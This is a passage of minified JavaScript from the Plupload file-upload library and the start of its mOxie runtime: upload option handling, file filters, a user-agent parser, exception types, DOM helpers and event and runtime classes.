t&&p.each(t,function(e,t){n[t.toLowerCase()]=e}),n;case"http_method":return"PUT"===t.toUpperCase()?"PUT":"POST";case"filters":return"array"===p.typeOf(t)&&(t={mime_types:t}),t.mime_types&&("string"===p.typeOf(t.mime_types)&&(t.mime_types=p.mimes2extList(t.mime_types)),i.re_ext_filter=(r=t.mime_types,o=[],p.each(r,function(e){p.each(e.extensions.split(/,/),function(e){/^\s*\*\s*$/.test(e)?o.push("\.*"):o.push("\."+e.replace(new RegExp("["+"/^$.*+?|()[]{}\".replace(/./g,"\$&")+"]","g"),"\$&"))})}),new RegExp("("+o.join("|")+")$","i"))),t;case"max_file_size":i&&!i.filters&&(i.filters={}),i.filters.max_file_size=t;break;case"multipart":t||(i.send_file_name=!0);break;case"multipart_params":i.params=i.multipart_params=t;break;case"resize":return!!t&&p.extend({preserve_headers:!0,crop:!1},t);case"prevent_duplicates":i&&!i.filters&&(i.filters={}),i.filters.prevent_duplicates=!!t;break;case"unique_names":t&&(i.send_file_name=!0);break;case"required_features":return s(p.extend({},i));case"preferred_caps":return s(p.extend({},i,{required_features:!0}));case"container":case"browse_button":case"drop_element":return"container"===e?p.get(t):p.getAll(t)}var r,o;return t}function t(e,t){E[e]=t}var _,E={};return t("mime_types",function(e,t,i){e.length&&!this.getOption("re_ext_filter").test(t.name)?(this.trigger("Error",{code:p.FILE_EXTENSION_ERROR,message:p.translate("File extension error."),file:t}),i(!1)):i(!0)}),t("max_file_size",function(e,t,i){e=p.parseSize(e),void 0!==t.size&&e&&t.size>e?(this.trigger("Error",{code:p.FILE_SIZE_ERROR,message:p.translate("File size error."),file:t}),i(!1)):i(!0)}),t("prevent_duplicates",function(e,t,i){var n=this;e&&this.forEachItem(function(e){return t.name===e.name&&t.size===e.size?(n.trigger("Error",{code:p.FILE_DUPLICATE_ERROR,message:p.translate("Duplicate file error."),file:t}),void i(!1)):void 0}),i(!0)}),t("prevent_empty",function(e,t,i){e&&!t.size&&t.size!==_?(this.trigger("Error",{code:p.FILE_SIZE_ERROR,message:p.translate("File size error."),file:t}),i(!1)):i(!0)}),v.addFileFilter=t,p.inherit(v,m),p.addFileFilter=t,p.predictRuntime=function(e,t){var i,n;return i=new v(e),n=p.Runtime.thatCan(i.getOption("required_features"),t||e.runtimes),i.destroy(),n},v}),function(e){for(var t=0;t<e.length;t++){for(var i=s,n=e[t],r=n.split(/[.\/]/),o=0;o<r.length-1;++o)i[r[o]]===a&&(i[r[o]]={}),i=i[r[o]];i[r[r.length-1]]=c[n]}}(["plupload","plupload/core/Collection","plupload/core/ArrCollection","plupload/core/Optionable","plupload/core/Queueable","plupload/core/Stats","plupload/core/Queue","plupload/QueueUpload","plupload/QueueResize","plupload/ChunkUploader","plupload/FileUploader","plupload/ImageResizer","plupload/File","plupload/Uploader"])}(this)}.apply(e,arguments),e.plupload};"function"==typeof define&&define.amd?define("plupload",["./moxie"],i):"object"==typeof module&&module.exports?module.exports=i(require("./moxie")):e.plupload=i(e.moxie)}(this||window),function(e,t){var i=function(){var e={};return function(){!function(s,y){"use strict";function e(o,e,s){if("string"!=typeof o)throw"invalid module definition, module id must be defined and be a string";if(e===y)throw"invalid module definition, dependencies must be specified";if(s===y)throw"invalid module definition, definition function must be specified";!function(e,t){for(var i,n=[],r=0;r<e.length;++r){if(!(i=u[e[r]]||a(e[r])))throw"module definition dependecy not found: "+e[r];n.push(i)}(function(){u[o]=s.apply(null,arguments)}).apply(null,n)}(e)}function d(e){return!!u[e]}function a(e){for(var t=s,i=e.split(/[.\/]/),n=0;n<i.length;++n){if(!t[i[n]])return;t=t[i[n]]}return t}var u={};e("moxie/core/utils/Basic",[],function(){function s(e){return void 0===e?"undefined":null===e?"null":e.nodeType?"node":{}.toString.call(e).match(/\s([a-z|A-Z]+)/)[1].toLowerCase()}function a(){return u(!1,!1,arguments)}function u(n,r,e){var o=e[0];return c(e,function(e,t){0<t&&c(e,function(e,t){var i=-1!==l(s(e),["array","object"]);return!!(void 0===e||n&&void 0===o[t])||(i&&r&&(e=function(e){switch(s(e)){case"array":return Array.prototype.slice.call(e);case"object":return a({},e)}return e}(e)),void(s(o[t])===s(e)&&i?u(n,r,[o[t],e]):o[t]=e))})}),o}function c(e,t){var i,n,r;if(e){try{i=e.length}catch(e){i=void 0}if(void 0===i||"number"!=typeof i){for(n in e)if(e.hasOwnProperty(n)&&!1===t(e[n],n))return}else for(r=0;r<i;r++)if(!1===t(e[r],r))return}}function l(e,t){if(t){if(Array.prototype.indexOf)return Array.prototype.indexOf.call(t,e);for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i}return-1}var n;return{guid:(n=0,function(e){var t,i=(new Date).getTime().toString(32);for(t=0;t<5;t++)i+=Math.floor(65535*Math.random()).toString(32);return(e||"o_")+i+(n++).toString(32)}),typeOf:s,extend:a,extendIf:function(){return u(!0,!1,arguments)},extendImmutable:function(){return u(!1,!0,arguments)},extendImmutableIf:function(){return u(!0,!0,arguments)},clone:function(e){switch(s(e)){case"array":return u(!1,!0,[[],e]);case"object":return u(!1,!0,[{},e]);default:return e}},inherit:function(e,t){function i(){this.constructor=e}for(var n in t)({}).hasOwnProperty.call(t,n)&&(e[n]=t[n]);return i.prototype=t.prototype,e.prototype=new i,e.parent=t.prototype,e},each:c,isEmptyObj:function(e){var t;if(!e||"object"!==s(e))return!0;for(t in e)return!1;return!0},inSeries:function(e,n){var r=e.length;"function"!==s(n)&&(n=function(){}),e&&e.length||n(),function t(i){"function"===s(e[i])&&e[i](function(e){++i<r&&!e?t(i):n(e)})}(0)},inParallel:function(e,n){var r=0,o=e.length,s=new Array(o);c(e,function(e,i){e(function(e){if(e)return n(e);var t=[].slice.call(arguments);t.shift(),s[i]=t,++r===o&&(s.unshift(null),n.apply(this,s))})})},inArray:l,arrayDiff:function(e,t){var i=[];for(var n in"array"!==s(e)&&(e=[e]),"array"!==s(t)&&(t=[t]),e)-1===l(e[n],t)&&i.push(e[n]);return!!i.length&&i},arrayIntersect:function(e,t){var i=[];return c(e,function(e){-1!==l(e,t)&&i.push(e)}),i.length?i:null},toArray:function(e){var t,i=[];for(t=0;t<e.length;t++)i[t]=e[t];return i},trim:function(e){return e?String.prototype.trim?String.prototype.trim.call(e):e.toString().replace(/^\s*/,"").replace(/\s*$/,""):e},sprintf:function(e){var n=[].slice.call(arguments,1);return e.replace(/%([a-z])/g,function(e,t){var i=n.shift();switch(t){case"s":return i+"";case"d":return parseInt(i,10);case"f":return parseFloat(i);case"c":return"";default:return i}})},parseSizeStr:function(e){if("string"!=typeof e)return e;var t,i={t:1099511627776,g:1073741824,m:1048576,k:1024};return t=(e=/^([0-9\.]+)([tmgk]?)$/.exec(e.toLowerCase().replace(/[^0-9\.tmkg]/g,"")))[2],e=+e[1],i.hasOwnProperty(t)&&(e*=i[t]),Math.floor(e)},delay:function(e,t){var i=this;setTimeout(function(){e.call(i)},t||1)}}}),e("moxie/core/utils/Encode",[],function(){var p=function(e){return unescape(encodeURIComponent(e))},m=function(e){return decodeURIComponent(escape(e))};return{utf8_encode:p,utf8_decode:m,atob:function(e,t){if("function"==typeof window.atob)return t?m(window.atob(e)):window.atob(e);var i,n,r,o,s,a,u,c="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",l=0,d=0,h=[];if(!e)return e;for(e+="";i=255&(a=c.indexOf(e.charAt(l++))<<18|c.indexOf(e.charAt(l++))<<12|(o=c.indexOf(e.charAt(l++)))<<6|(s=c.indexOf(e.charAt(l++))))>>16,n=255&a>>8,r=255&a,h[d++]=64==o?String.fromCharCode(i):64==s?String.fromCharCode(i,n):String.fromCharCode(i,n,r),l<e.length;);return u=h.join(""),t?m(u):u},btoa:function(e,t){if(t&&(e=p(e)),"function"==typeof window.btoa)return window.btoa(e);var i,n,r,o,s,a="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",u=0,c=0,l="",d=[];if(!e)return e;for(;i=63&(s=e.charCodeAt(u++)<<16|e.charCodeAt(u++)<<8|e.charCodeAt(u++))>>18,n=63&s>>12,r=63&s>>6,o=63&s,d[c++]=a.charAt(i)+a.charAt(n)+a.charAt(r)+a.charAt(o),u<e.length;);l=d.join("");var h=e.length%3;return(h?l.slice(0,h-3):l)+"===".slice(h||3)}}}),e("moxie/core/utils/Env",["moxie/core/utils/Basic"],function(i){var e,n,d,h,p,t,r,o,s,a,u,c=(h="function",p="object",o=function(e,t){return-1!==t.toLowerCase().indexOf(e.toLowerCase())},u={browser:[[/(opera\smini)\/([\w\.-]+)/i,/(opera\s[mobiletab]+).+version\/([\w\.-]+)/i,/(opera).+version\/([\w\.]+)/i,/(opera)[\/\s]+([\w\.]+)/i],[t="name",r="version"],[/\s(opr)\/([\w\.]+)/i],[[t,"Opera"],r],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer)[\/\s]?([\w\.]+)*/i,/(avant\s|iemobile|slim|baidu)(?:browser)?[\/\s]?([\w\.]*)/i,/(?:ms|\()(ie)\s([\w\.]+)/i,/(rekonq)\/([\w\.]+)*/i,/(chromium|flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi)\/([\w\.-]+)/i],[t,r],[/(trident).+rv[:\s]([\w\.]+).+like\sgecko/i],[[t,"IE"],r],[/(edge)\/((\d+)?[\w\.]+)/i],[t,r],[/(yabrowser)\/([\w\.]+)/i],[[t,"Yandex"],r],[/(comodo_dragon)\/([\w\.]+)/i],[[t,/_/g," "],r],[/(chrome|omniweb|arora|[tizenoka]{5}\s?browser)\/v?([\w\.]+)/i,/(uc\s?browser|qqbrowser)[\/\s]?([\w\.]+)/i],[t,r],[/(dolfin)\/([\w\.]+)/i],[[t,"Dolphin"],r],[/((?:android.+)crmo|crios)\/([\w\.]+)/i],[[t,"Chrome"],r],[/XiaoMi\/MiuiBrowser\/([\w\.]+)/i],[r,[t,"MIUI Browser"]],[/android.+version\/([\w\.]+)\s+(?:mobile\s?safari|safari)/i],[r,[t,"Android Browser"]],[/FBAV\/([\w\.]+);/i],[r,[t,"Facebook"]],[/version\/([\w\.]+).+?mobile\/\w+\s(safari)/i],[r,[t,"Mobile Safari"]],[/version\/([\w\.]+).+?(mobile\s?safari|safari)/i],[r,t],[/webkit.+?(mobile\s?safari|safari)(\/[\w\.]+)/i],[t,[r,(s={rgx:function(){for(var e,t,i,n,r,o,s,a=0,u=arguments;a<u.length;a+=2){var c=u[a],l=u[a+1];if(void 0===e)for(n in e={},l)typeof(r=l[n])==p?e[r[0]]=d:e[r]=d;for(t=i=0;t<c.length;t++)if(o=c[t].exec(this.getUA())){for(n=0;n<l.length;n++)s=o[++i],typeof(r=l[n])==p&&0<r.length?2==r.length?e[r[0]]=typeof r[1]==h?r[1].call(this,s):r[1]:3==r.length?e[r[0]]=typeof r[1]!=h||r[1].exec&&r[1].test?s?s.replace(r[1],r[2]):d:s?r[1].call(this,s,r[2]):d:4==r.length&&(e[r[0]]=s?r[3].call(this,s.replace(r[1],r[2])):d):e[r]=s||d;break}if(o)break}return e},str:function(e,t){for(var i in t)if(typeof t[i]==p&&0<t[i].length){for(var n=0;n<t[i].length;n++)if(o(t[i][n],e))return"?"===i?d:i}else if(o(t[i],e))return"?"===i?d:i;return e}}).str,(a={browser:{oldsafari:{major:{1:["/8","/1","/3"],2:"/4","?":"/"},version:{"1.0":"/8",1.2:"/1",1.3:"/3","2.0":"/412","2.0.2":"/416","2.0.3":"/417","2.0.4":"/419","?":"/"}}},device:{sprint:{model:{"Evo Shift 4G":"7373KT"},vendor:{HTC:"APA",Sprint:"Sprint"}}},os:{windows:{version:{ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",RT:"ARM"}}}}).browser.oldsafari.version]],[/(konqueror)\/([\w\.]+)/i,/(webkit|khtml)\/([\w\.]+)/i],[t,r],[/(navigator|netscape)\/([\w\.-]+)/i],[[t,"Netscape"],r],[/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo\sbrowser|minimo|conkeror)[\/\s]?([\w\.\+]+)/i,/(firefox|seamonkey|k-meleon|icecat|iceape|firebird|phoenix)\/([\w\.-]+)/i,/(mozilla)\/([\w\.]+).+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf)[\/\s]?([\w\.]+)/i,/(links)\s\(([\w\.]+)/i,/(gobrowser)\/?([\w\.]+)*/i,/(ice\s?browser)\/v?([\w\._]+)/i,/(mosaic)[\/\s]([\w\.]+)/i],[t,r]],engine:[[/windows.+\sedge\/([\w\.]+)/i],[r,[t,"EdgeHTML"]],[/(presto)\/([\w\.]+)/i,/(webkit|trident|netfront|netsurf|amaya|lynx|w3m)\/([\w\.]+)/i,/(khtml|tasman|links)[\/\s]\(?([\w\.]+)/i,/(icab)[\/\s]([23]\.[\d\.]+)/i],[t,r],[/rv\:([\w\.]+).*(gecko)/i],[r,t]],os:[[/microsoft\s(windows)\s(vista|xp)/i],[t,r],[/(windows)\snt\s6\.2;\s(arm)/i,/(windows\sphone(?:\sos)*|windows\smobile|windows)[\s\/]?([ntce\d\.\s]+\w)/i],[t,[r,s.str,a.os.windows.version]],[/(win(?=3|9|n)|win\s9x\s)([nt\d\.]+)/i],[[t,"Windows"],[r,s.str,a.os.windows.version]],[/\((bb)(10);/i],[[t,"BlackBerry"],r],[/(blackberry)\w*\/?([\w\.]+)*/i,/(tizen)[\/\s]([\w\.]+)/i,/(android|webos|palm\os|qnx|bada|rim\stablet\sos|meego|contiki)[\/\s-]?([\w\.]+)*/i,/linux;.+(sailfish);/i],[t,r],[/(symbian\s?os|symbos|s60(?=;))[\/\s-]?([\w\.]+)*/i],[[t,"Symbian"],r],[/\((series40);/i],[t],[/mozilla.+\(mobile;.+gecko.+firefox/i],[[t,"Firefox OS"],r],[/(nintendo|playstation)\s([wids3portablevu]+)/i,/(mint)[\/\s\(]?(\w+)*/i,/(mageia|vectorlinux)[;\s]/i,/(joli|[kxln]?ubuntu|debian|[open]*suse|gentoo|arch|slackware|fedora|mandriva|centos|pclinuxos|redhat|zenwalk|linpus)[\/\s-]?([\w\.-]+)*/i,/(hurd|linux)\s?([\w\.]+)*/i,/(gnu)\s?([\w\.]+)*/i],[t,r],[/(cros)\s[\w]+\s([\w\.]+\w)/i],[[t,"Chromium OS"],r],[/(sunos)\s?([\w\.]+\d)*/i],[[t,"Solaris"],r],[/\s([frentopc-]{0,4}bsd|dragonfly)\s?([\w\.]+)*/i],[t,r],[/(ip[honead]+)(?:.*os\s*([\w]+)*\slike\smac|;\sopera)/i],[[t,"iOS"],[r,/_/g,"."]],[/(mac\sos\sx)\s?([\w\s\.]+\w)*/i,/(macintosh|mac(?=_powerpc)\s)/i],[[t,"Mac OS"],[r,/_/g,"."]],[/((?:open)?solaris)[\/\s-]?([\w\.]+)*/i,/(haiku)\s(\w+)/i,/(aix)\s((\d)(?=\.|\)|\s)[\w\.]*)*/i,/(plan\s9|minix|beos|os\/2|amigaos|morphos|risc\sos|openvms)/i,/(unix)\s?([\w\.]+)*/i],[t,r]]},function(e){var t=e||(window&&window.navigator&&window.navigator.userAgent?window.navigator.userAgent:"");this.getBrowser=function(){return s.rgx.apply(this,u.browser)},this.getEngine=function(){return s.rgx.apply(this,u.engine)},this.getOS=function(){return s.rgx.apply(this,u.os)},this.getResult=function(){return{ua:this.getUA(),browser:this.getBrowser(),engine:this.getEngine(),os:this.getOS()}},this.getUA=function(){return t},this.setUA=function(e){return t=e,this},this.setUA(t)}),l=(n={access_global_ns:function(){return!!window.moxie},define_property:!1,create_canvas:function(){var e=document.createElement("canvas"),t=!(!e.getContext||!e.getContext("2d"));return n.create_canvas=t},return_response_type:function(e){try{if(-1!==i.inArray(e,["","text","document"]))return!0;if(window.XMLHttpRequest){var t=new XMLHttpRequest;if(t.open("get","/"),"responseType"in t)return t.responseType=e,t.responseType===e}}catch(e){}return!1},use_blob_uri:function(){var e=window.URL;return n.use_blob_uri=e&&"createObjectURL"in e&&"revokeObjectURL"in e&&("IE"!==f.browser||f.verComp(f.version,"11.0.46",">=")),n.use_blob_uri},use_data_uri:(e=new Image,e.onload=function(){n.use_data_uri=1===e.width&&1===e.height},setTimeout(function(){e.src="data:image/gif;base64,R0lGODlhAQABAIAAAP8AAAAAACH5BAAAAAAALAAAAAABAAEAAAICRAEAOw=="},1),!1),use_data_uri_over32kb:function(){return n.use_data_uri&&("IE"!==f.browser||9<=f.version)},use_data_uri_of:function(e){return n.use_data_uri&&e<33e3||n.use_data_uri_over32kb()},use_fileinput:function(){if(navigator.userAgent.match(/(Android (1.0|1.1|1.5|1.6|2.0|2.1))|(Windows Phone (OS 7|8.0))|(XBLWP)|(ZuneWP)|(w(eb)?OSBrowser)|(webOS)|(Kindle\/(1.0|2.0|2.5|3.0))/))return!1;var e=document.createElement("input");return e.setAttribute("type","file"),n.use_fileinput=!e.disabled},use_webgl:function(){var e,t=document.createElement("canvas"),i=null;try{i=t.getContext("webgl")||t.getContext("experimental-webgl")}catch(e){}return i||(i=null),e=!!i,n.use_webgl=e,t=y,e}},function(e){var t=[].slice.call(arguments);return t.shift(),"function"===i.typeOf(n[e])?n[e].apply(this,t):!!n[e]}),m=(new c).getResult(),f={can:l,uaParser:c,browser:m.browser.name,version:m.browser.version,os:m.os.name,osVersion:m.os.version,verComp:function(e,t,i){var n,r=0,o=0,s={dev:-6,alpha:-5,a:-5,beta:-4,b:-4,RC:-3,rc:-3,"#":-2,p:1,pl:1},a=function(e){return(e=(e=(""+e).replace(/[_\-+]/g,".")).replace(/([^.\d]+)/g,".$1.").replace(/\.{2,}/g,".")).length?e.split("."):[-8]},u=function(e){return e?isNaN(e)?s[e]||-7:parseInt(e,10):0};for(e=a(e),t=a(t),n=Math.max(e.length,t.length),r=0;r<n;r++)if(e[r]!=t[r]){if(e[r]=u(e[r]),t[r]=u(t[r]),e[r]<t[r]){o=-1;break}if(e[r]>t[r]){o=1;break}}if(!i)return o;switch(i){case">":case"gt":return 0<o;case">=":case"ge":return 0<=o;case"<=":case"le":return o<=0;case"==":case"=":case"eq":return 0===o;case"<>":case"!=":case"ne":return 0!==o;case"":case"<":case"lt":return o<0;default:return null}},swf_url:"../flash/Moxie.swf",xap_url:"../silverlight/Moxie.xap",global_event_dispatcher:"moxie.core.EventTarget.instance.dispatchEvent"};return f.OS=f.os,f}),e("moxie/core/Exceptions",["moxie/core/utils/Basic"],function(n){function r(e,t){var i;for(i in e)if(e[i]===t)return i;return null}return{RuntimeError:function(){function e(e,t){this.code=e,this.name=r(i,e),this.message=this.name+(t||": RuntimeError "+this.code)}var i={NOT_INIT_ERR:1,EXCEPTION_ERR:3,NOT_SUPPORTED_ERR:9,JS_ERR:4};return n.extend(e,i),e.prototype=Error.prototype,e}(),OperationNotAllowedException:function(){function e(e){this.code=e,this.name="OperationNotAllowedException"}return n.extend(e,{NOT_ALLOWED_ERR:1}),e.prototype=Error.prototype,e}(),ImageError:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": ImageError "+this.code}var t={WRONG_FORMAT:1,MAX_RESOLUTION_ERR:2,INVALID_META_ERR:3};return n.extend(e,t),e.prototype=Error.prototype,e}(),FileException:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": FileException "+this.code}var t={NOT_FOUND_ERR:1,SECURITY_ERR:2,ABORT_ERR:3,NOT_READABLE_ERR:4,ENCODING_ERR:5,NO_MODIFICATION_ALLOWED_ERR:6,INVALID_STATE_ERR:7,SYNTAX_ERR:8};return n.extend(e,t),e.prototype=Error.prototype,e}(),DOMException:function(){function e(e){this.code=e,this.name=r(t,e),this.message=this.name+": DOMException "+this.code}var t={INDEX_SIZE_ERR:1,DOMSTRING_SIZE_ERR:2,HIERARCHY_REQUEST_ERR:3,WRONG_DOCUMENT_ERR:4,INVALID_CHARACTER_ERR:5,NO_DATA_ALLOWED_ERR:6,NO_MODIFICATION_ALLOWED_ERR:7,NOT_FOUND_ERR:8,NOT_SUPPORTED_ERR:9,INUSE_ATTRIBUTE_ERR:10,INVALID_STATE_ERR:11,SYNTAX_ERR:12,INVALID_MODIFICATION_ERR:13,NAMESPACE_ERR:14,INVALID_ACCESS_ERR:15,VALIDATION_ERR:16,TYPE_MISMATCH_ERR:17,SECURITY_ERR:18,NETWORK_ERR:19,ABORT_ERR:20,URL_MISMATCH_ERR:21,QUOTA_EXCEEDED_ERR:22,TIMEOUT_ERR:23,INVALID_NODE_TYPE_ERR:24,DATA_CLONE_ERR:25};return n.extend(e,t),e.prototype=Error.prototype,e}(),EventException:function(){function e(e){this.code=e,this.name="EventException"}return n.extend(e,{UNSPECIFIED_EVENT_TYPE_ERR:0}),e.prototype=Error.prototype,e}()}}),e("moxie/core/utils/Dom",["moxie/core/utils/Env"],function(c){var i=function(e,t){return!!e.className&&new RegExp("(^|\s+)"+t+"(\s+|$)").test(e.className)};return{get:function(e){return"string"!=typeof e?e:document.getElementById(e)},hasClass:i,addClass:function(e,t){i(e,t)||(e.className=e.className?e.className.replace(/\s+$/,"")+" "+t:t)},removeClass:function(e,t){if(e.className){var i=new RegExp("(^|\s+)"+t+"(\s+|$)");e.className=e.className.replace(i,function(e,t,i){return" "===t&&" "===i?" ":""})}},getStyle:function(e,t){return e.currentStyle?e.currentStyle[t]:window.getComputedStyle?window.getComputedStyle(e,null)[t]:void 0},getPos:function(e,t){function i(e){var t,i,n=0,r=0;return e&&(i=e.getBoundingClientRect(),t="CSS1Compat"===u.compatMode?u.documentElement:u.body,n=i.left+t.scrollLeft,r=i.top+t.scrollTop),{x:n,y:r}}var n,r,o,s=0,a=0,u=document;if(e=e,t=t||u.body,e&&e.getBoundingClientRect&&"IE"===c.browser&&(!u.documentMode||u.documentMode<8))return r=i(e),o=i(t),{x:r.x-o.x,y:r.y-o.y};for(n=e;n&&n!=t&&n.nodeType;)s+=n.offsetLeft||0,a+=n.offsetTop||0,n=n.offsetParent;for(n=e.parentNode;n&&n!=t&&n.nodeType;)s-=n.scrollLeft||0,a-=n.scrollTop||0,n=n.parentNode;return{x:s,y:a}},getSize:function(e){return{w:e.offsetWidth||e.clientWidth,h:e.offsetHeight||e.clientHeight}}}}),e("moxie/core/EventTarget",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic"],function(e,c,l){function t(){this.uid=l.guid()}var d={};return l.extend(t.prototype,{init:function(){this.uid||(this.uid=l.guid("uid_"))},addEventListener:function(e,t,i,n){var r,o=this;return this.hasOwnProperty("uid")||(this.uid=l.guid("uid_")),e=l.trim(e),/\s/.test(e)?void l.each(e.split(/\s+/),function(e){o.addEventListener(e,t,i,n)}):(e=e.toLowerCase(),i=parseInt(i,10)||0,(r=d[this.uid]&&d[this.uid][e]||[]).push({fn:t,priority:i,scope:n||this}),d[this.uid]||(d[this.uid]={}),void(d[this.uid][e]=r))},hasEventListener:function(e){return(e?(e=e.toLowerCase(),d[this.uid]&&d[this.uid][e]):d[this.uid])||!1},removeEventListener:function(e,t){var i,n,r=this;if(e=e.toLowerCase(),/\s/.test(e))l.each(e.split(/\s+/),function(e){r.removeEventListener(e,t)});else if(i=d[this.uid]&&d[this.uid][e]){if(t){for(n=i.length-1;0<=n;n--)if(i[n].fn===t){i.splice(n,1);break}}else i=[];i.length||(delete d[this.uid][e],l.isEmptyObj(d[this.uid])&&delete d[this.uid])}},removeAllEventListeners:function(){d[this.uid]&&delete d[this.uid]},dispatchEvent:function(e){var t,i,n,r,o,s={},a=!0;if("string"!==l.typeOf(e)){if(r=e,"string"!==l.typeOf(r.type))throw new c.EventException(c.EventException.UNSPECIFIED_EVENT_TYPE_ERR);e=r.type,void 0!==r.total&&void 0!==r.loaded&&(s.total=r.total,s.loaded=r.loaded),s.async=r.async||!1}if(-1!==e.indexOf("::")?(t=(o=e.split("::"))[0],e=o[1]):t=this.uid,e=e.toLowerCase(),i=d[t]&&d[t][e]){i.sort(function(e,t){return t.priority-e.priority}),(n=[].slice.call(arguments)).shift(),s.type=e,n.unshift(s);var u=[];l.each(i,function(t){n[0].target=t.scope,s.async?u.push(function(e){setTimeout(function(){e(!1===t.fn.apply(t.scope,n))},1)}):u.push(function(e){e(!1===t.fn.apply(t.scope,n))})}),u.length&&l.inSeries(u,function(e){a=!e})}return a},bindOnce:function(t,i,e,n){var r=this;r.bind.call(this,t,function e(){return r.unbind(t,e),i.apply(this,arguments)},e,n)},bind:function(){this.addEventListener.apply(this,arguments)},unbind:function(){this.removeEventListener.apply(this,arguments)},unbindAll:function(){this.removeAllEventListeners.apply(this,arguments)},trigger:function(){return this.dispatchEvent.apply(this,arguments)},handleEventProps:function(e){var t=this;this.bind(e.join(" "),function(e){var t="on"+e.type.toLowerCase();"function"===l.typeOf(this[t])&&this[t].apply(this,arguments)}),l.each(e,function(e){e="on"+e.toLowerCase(e),"undefined"===l.typeOf(t[e])&&(t[e]=null)})}}),t.instance=new t,t}),e("moxie/runtime/Runtime",["moxie/core/utils/Env","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/EventTarget"],function(t,l,d,i){function h(e,t,r,i,n){var o,s,a=this,u=l.guid(t+"_"),c=n||"browser";e=e||{},p[u]=this,r=l.extend({access_binary:!1,access_image_binary:!1,display_media:!1,do_cors:!1,drag_and_drop:!1,filter_by_extension:!0,resize_image:!1,report_upload_progress:!1,return_response_headers:!1,return_response_type:!1,return_status_code:!0,send_custom_headers:!1,select_file:!1,select_folder:!1,select_multiple:!0,send_binary_string:!1,send_browser_cookies:!0,send_multipart:!0,slice_blob:!1,stream_upload:!1,summon_file_dialog:!1,upload_filesize:!0,use_http_method:!0},r),e.preferred_caps&&(c=h.getMode(i,e.preferred_caps,c)),s={},o={exec:function(e,t,i,n){return o[t]&&(s[e]||(s[e]={context:this,instance:new o[t]}),s[e].instance[i])?s[e].instance[i].apply(this,n):void 0},removeInstance:function(e){delete s[e]},removeAllInstances:function(){var i=this;l.each(s,function(e,t){"function"===l.typeOf(e.instance.destroy)&&e.instance.destroy.call(e.context),i.removeInstance(t)})}},l.extend(this,{initialized:!1,uid:u,type:t,mode:h.getMode(i,e.required_caps,c),shimid:u+"_container",clients:0,options:e,can:function(e,t){var i=arguments[2]||r;if("string"===l.typeOf(e)&&"undefined"===l.typeOf(t)&&(e=h.parseCaps(e)),"object"!==l.typeOf(e))return"function"===l.typeOf(i[e])?i[e].call(this,t):t===i[e];for(var n in e)if(!this.can(n,e[n],i))return!1;return!0},getShimContainer:function(){var e,t=d.get(this.shimid);return t||(e=d.get(this.options.container)||document.body,(t=document.createElement("div")).id=this.shimid,t.className="moxie-shim moxie-shim-"+this.type,l.extend(t.style,{position:"absolute",top:"0px",left:"0px",width:"1px",height:"1px",overflow:"hidden"}),e.appendChild(t),e=null),t},getShim:function(){return o},shimExec:function(e,t){var i=[].slice.call(arguments,2);return a.getShim().exec.call(this,this.uid,e,t,i)},exec:function(e,t){var i=[].slice.call(arguments,2);return a[e]&&a[e][t]?a[e][t].apply(this,i):a.shimExec.apply(this,arguments)},destroy:function(){if(a){var e=d.get(this.shimid);e&&e.parentNode.removeChild(e),o&&o.removeAllInstances(),this.unbindAll(),delete p[this.uid],this.uid=null,u=a=o=e=null}}}),this.mode&&e.required_caps&&!this.can(e.required_caps)&&(this.mode=!1)}var n={},p={};return h.order="html5,flash,silverlight,html4",h.getRuntime=function(e){return!!p[e]&&p[e]},h.addConstructor=function(e,t){t.prototype=i.instance,n[e]=t},h.getConstructor=function(e){return n[e]||null},h.getInfo=function(e){var t=h.getRuntime(e);return t?{uid:t.uid,type:t.type,mode:t.mode,can:function(){return t.can.apply(t,arguments)}}:null},h.parseCaps=function(e){var t={};return"string"!==l.typeOf(e)?e||{}:(l.each(e.split(","),function(e){t[e]=!0}),t)},h.can=function(e,t){var i,n,r=h.getConstructor(e);return!!r&&(n=(i=new r({required_caps:t})).mode,i.destroy(),!!n)},h.thatCan=function(e,t){var i=(t||h.order).split(/\s*,\s*/);for(var n in i)if(h.can(i[n],e))return i[n];return null},h.getMode=function(n,e,t){var r=null;if("undefined"===l.typeOf(t)&&(t="browser"),e&&!l.isEmptyObj(n)){if(l.each(e,function(e,t){if(n.hasOwnProperty(t)){var i=n[t](e);if("string"==typeof i&&(i=[i]),r){if(!(r=l.arrayIntersect(r,i)))return r=!1}else r=i}}),r)return-1!==l.inArray(t,r)?t:r[0];if(!1===r)return!1}return t},h.getGlobalEventTarget=function(){if(/^moxie\./.test(t.global_event_dispatcher)&&!t.can("access_global_ns")){var e=l.guid("moxie_event_target_");window[e]=function(e,t){i.instance.dispatchEvent(e,t)},t.global_event_dispatcher=e}return t.global_event_dispatcher},h.capTrue=function(){return!0},h.capFalse=function(){return!1},h.capTest=function(e){return function(){return!!e}},h}),e("moxie/runtime/RuntimeClient",["moxie/core/utils/Env","moxie/core/Exceptions","moxie/core/utils/Basic","moxie/runtime/Runtime"],function(e,a,t,u){return function(){var s;t.extend(this,{connectRuntime:function(r){var e,o=this;if("string"===t.typeOf(r)?e=r:"string"===t.typeOf(r.ruid)&&(e=r.ruid),e){if(s=u.getRuntime(e))return o.ruid=e,s.clients++,s;throw new a.RuntimeError(a.RuntimeError.NOT_INIT_ERR)}!function e(t){var i,n;return t.length?(i=t.shift().toLowerCase(),(n=u.getConstructor(i))?((s=new n(r)).bind("Init",function(){s.initialized=!0,setTimeout(function(){s.clients++,o.ruid=s.uid,o.trigger("RuntimeInit",s)},1)}),s.bind("Error",function(){s.destroy(),e(t)}),s.bind("Exception",function(e,t){var 